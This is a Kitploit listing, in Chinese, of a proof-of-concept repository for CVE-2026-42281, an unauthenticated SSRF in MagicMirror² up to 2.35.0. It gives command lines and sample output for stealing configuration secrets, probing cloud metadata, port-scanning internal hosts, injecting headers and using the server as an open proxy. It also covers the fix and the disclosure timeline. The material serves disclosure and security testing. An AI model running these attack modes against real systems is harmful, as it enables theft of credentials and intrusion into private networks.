Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-42281 — CVE-2026-42281 的概念验证漏洞利用程序,针对 MagicMirror² ≤ 2.35.0 中一个未经验证的 SSRF 漏洞,可实现配置信息窃取、云元数据探测以及内网扫描。 | Kitploit
工具/GitHubGitHub/astaruf/cve-2026-42281
漏洞分析漏洞利用Web应用程序漏洞利用信息收集渗透测试红队
GitHubastaruf/cve-2026-42281

CVE-2026-42281

CVE-2026-42281 的概念验证漏洞利用程序,针对 MagicMirror² ≤ 2.35.0 中一个未经验证的 SSRF 漏洞,可实现配置信息窃取、云元数据探测以及内网扫描。

查看仓库
3个月前尚未审核
网站

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-42281: MagicMirror² ≤ 2.35.0 - 通过 /cors 端点实现未认证 SSRF

发现并报告者: Astaruf

完整技术文章: https://nstsec.com/en/posts/magicmirror-ssrf-cve-2026-42281/

上游安全公告: MagicMirrorOrg/MagicMirror 安全公告

NVD 条目: https://nvd.nist.gov/vuln/detail/CVE-2026-42281


本仓库托管 CVE-2026-42281 的概念验证(PoC)利用代码,这是 MagicMirror² ≤ 2.35.0 中的一个未认证 SSRF 漏洞,可将 /cors 端点变成一个功能完整的 SSRF 代理,能够访问回环地址、内部网络和云元数据服务。当 hideConfigSecrets: true 时,同一端点还可在单个请求中窃取 process.env.SECRET_* 值。

有关完整的代码审查、漏洞分析、修复方案拆解、CVSS 争议和时间线,请参阅 nstsec.com 上的完整技术文章。本 README 重点介绍如何使用该 PoC。

概念验证

环境要求

  • Python 3.8+
  • 无外部依赖(仅使用标准库)

快速开始

root@kitploit:~
# 1. 验证目标是否存在漏洞
python3 poc.py -t http://target:8080 --check

# 2. 窃取应用配置(自动发现密钥)
python3 poc.py -t http://target:8080 --config

# 3. 探测 10+ 家云提供商的元数据服务
python3 poc.py -t http://target:8080 --cloud

# 4. 通过 SSRF 进行内网端口扫描
python3 poc.py -t http://target:8080 --port-scan 10.0.0.1,10.0.0.2 -p 22,80,443,3306,6379

# 5. 演示入站/出站请求头滥用
python3 poc.py -t http://target:8080 --headers

# 6. 将服务器用作通用开放代理
python3 poc.py -t http://target:8080 --open-proxy https://internal.corp/api

攻击模式

标志描述
--check通过回环获取 /version 验证 SSRF 是否可利用
--config通过回环 SSRF 获取 /config,解析 JSON,在模块配置中搜索 API 密钥 / 令牌 / 密码
--cloud探测 AWS、GCP、Azure、OCI、DigitalOcean、阿里云、Hetzner、IBM、Kubernetes、Rancher、Equinix 的元数据服务;自动跟踪 AWS IAM 角色枚举
--port-scan HOSTS扫描一个或多个主机(-p 22,80 / -p 0-1024 / -p - 表示全部 65535 个端口),多线程
--headers第 A 部分:通过 sendheaders 将 Authorization/X-* 请求头注入出站请求。第 B 部分:通过 expectedheaders 将攻击者控制的恶意源 Set-Cookie 转发到受害者浏览器
--open-proxy URL对任意 URL 执行通用 SSRF GET,打印响应体(适用于探索内部 HTTP API)

附加选项

选项默认值描述
-t / --target必填目标 URL,例如 http://192.168.1.10:8080
--timeout2.0每个请求的超时时间(秒)
--threads30--port-scan 使用的线程数
--verbose关闭打印完整 JSON 响应(以及未脱敏的云元数据响应体)

演示

1. PoC 横幅和确认 SSRF 的 --check 模式:

root@kitploit:~
$ python3 poc.py -t http://127.0.0.1:8080 --check

 ██████╗██╗   ██╗███████╗        ██╗  ██╗  ██████╗   ██████╗   █████╗   ██╗
██╔════╝██║   ██║██╔════╝        ██║  ██║ ╚════██╗  ╚════██╗  ██╔══██╗ ███║
██║     ██║   ██║█████╗   -2026- ███████║  █████╔╝   █████╔╝  ╚█████╔╝ ╚██║
██║     ╚██╗ ██╔╝██╔══╝          ╚════██║ ██╔═══╝   ██╔═══╝   ██╔══██╗  ██║
╚██████╗ ╚████╔╝ ███████╗             ██║ ███████╗  ███████╗  ╚█████╔╝  ██║
 ╚═════╝  ╚═══╝  ╚══════╝             ╚═╝ ╚══════╝  ╚══════╝   ╚════╝   ╚═╝

  MagicMirror² <= v2.35.0 — 通过 /cors 端点实现未认证 SSRF
  作者: Astaruf | https://nstsec.com

  检查,目标可达性和 SSRF 确认
  [*] 正在验证目标可达性 ...
  [+] 目标可达,MagicMirror 2.35.0
  [*] 通过回环确认 SSRF ...
      >> GET http://127.0.0.1:8080/cors?url=http://127.0.0.1:8080/version
  [+] SSRF 已确认,服务器代表我们获取了内部资源
      << 2.35.0

2. --config 窃取应用配置并自动发现模块配置中的密钥:

root@kitploit:~
  配置窃取,通过 SSRF 回环获取完整配置
  [+] 配置已获取,1194 字节
  [*] address    : 0.0.0.0
  [*] port       : 8080
  [*] ipWhitelist: [] 对所有 IP 开放

  发现的密钥:
    [weather]  apiKey                       = ow_demo_api_key_d34db33fc4f3b4b3
    [calendar] calendars[0].auth.pass       = S3cretCalendarPa$$word!
    [newsfeed] accessToken                  = sk-newsfeed-bearer-T0kEn-xyz789

3. --headers 确认出站注入和入站转发:

root@kitploit:~
  请求头注入,出站和入站请求头滥用
  [*] 第 A 部分:通过 sendheaders 将任意请求头注入出站请求
  [+] 出站请求中确认存在请求头 X-Injected-By: SSRF-PoC
  [+] 出站请求中确认存在请求头 Authorization: Bearer DEMO_TOKEN

  [*] 第 B 部分:通过 expectedheaders 将响应头转发到浏览器
  [+] 响应头 Set-Cookie 已转发到浏览器: session=hijacked;HttpOnly
  [+] 浏览器收到此 Cookie,如同它来自 MagicMirror 域

4. --open-proxy 确认服务器可发起出站 HTTP 请求:

root@kitploit:~
  开放代理,通过易受攻击的服务器获取 https://httpbin.org/ip
  [+] HTTP 200,从服务器收到 32 字节

{
  "origin": "<服务器的公网 IP,而非攻击者的 IP>"
}

测试注意事项

  • --check(以及所有其他模式)会向 http://127.0.0.1:<port>/version 发送 SSRF 回环请求。通过 Docker 测试时,请确保主机端口与容器内端口一致(例如映射 8080:8080,而不是 8081:8080),否则即使实例确实存在漏洞,回环目标也无法从容器内部解析。
  • 对非云实例(树莓派、裸机)执行 --cloud 不会产生任何命中——这是预期行为,脚本会明确报告。该攻击向量确实存在;测试它需要真实的云部署环境。

修复方案

已在 MagicMirror² v2.36.0(2026 年 4 月 30 日发布)中修复。该修复横跨六个 PR(#4084、#4087、#4090、#4091、#4102、#4104)。有关每个 PR 的详细拆解、代码片段以及针对已修补版本重新测试的绕过尝试验证矩阵,请参阅完整技术文章。

时间线

日期事件
2026-03-30发现漏洞,公开提交 issue,向维护者发送邮件
2026-03-31维护者确认收到报告
2026-04-01维护者在仓库中添加了 SECURITY.md 并启用了 GitHub 安全公告
2026-04-09正式开启 GHSA 公告
2026-04-26确认下一个版本将包含修复。GitHub 分配了 CVE-2026-42281
2026-04-26CVSS 争议——向量从 Moderate 提升至 9.2 Critical(AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N)
2026-04-30MagicMirror² v2.36.0 发布,修复已公开推送
2026-05-04公开披露(技术文章 + PoC 仓库)

参考资料

  • 完整技术文章 — nstsec.com
  • CVE-2026-42281 — NVD
  • MagicMirror² 官方仓库
  • MagicMirror² v2.36.0 发布说明
  • CWE-918: 服务器端请求伪造
  • OWASP — 服务器端请求伪造

免责声明

本材料仅供授权的安全测试和教育目的使用。仅可针对您拥有或已获得明确书面许可进行测试的 MagicMirror² 实例使用。未经授权访问计算机系统属于违法行为。作者对滥用行为不承担任何责任。

许可证

MIT

下载工具